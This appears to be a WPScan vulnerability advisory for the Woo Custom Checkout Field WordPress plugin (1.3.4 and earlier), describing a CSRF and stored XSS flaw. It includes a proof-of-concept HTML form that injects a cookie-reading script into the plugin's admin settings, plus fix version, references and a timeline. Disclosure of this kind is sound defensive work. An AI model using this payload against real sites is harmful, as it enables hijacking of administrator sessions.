Woo Custom Checkout Field <= 1.3.4 - CSRF & Stored XSS

Sign up to our free email alerts service for instant vulnerability notifications!

Description
Due to a lack of CSRF mitigation and entity encoding in the ccf_insert function found on line 118 of include/ccf.php and in the output generated by template/datagrid.php, it is possible to store and execute scripts in the context of an admin user.
Proof of Concept
<form method="post" action="http://[target]/wp-admin/admin.php?page=ccf_settings_menu">  
    <input type="text" name="txt_field_name" value="field_name">
    <input type="text" name="txt_field_class" value="&lt;script&gt;alert(document.cookie);&lt;/script&gt;">
    <input type="text" name="txt_field_placeholder" value="placeholder">
    <input type="text" name="txt_field_type" value="text">
    <input type="text" name="txt_field_options" value="">
    <input type="submit" name="add_field" value="Submit">
</form>  

Affects

Plugin woo-custom-checkout-field
fixed in version 1.3.5

References

URL https://plugins.trac.wordpress.org/changeset/1463103/woo-custom-checkout-field
URL https://plugins.trac.wordpress.org/changeset/1461924/woo-custom-checkout-field
URL http://blog.rastating.com/woo-custom-checkout-field-1-3-2-csrf-stored-xss-disclosure/

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter Rob Carr
Submitter Website http://blog.rastating.com/
Submitter Twitter iamrastating
Views 193
Verified No
WPVDB ID 8567

Timeline

Publicly Published 2016-07-26 (4 months ago)
Added 2016-07-26 (4 months ago)
Last Updated 2016-08-29 (3 months ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.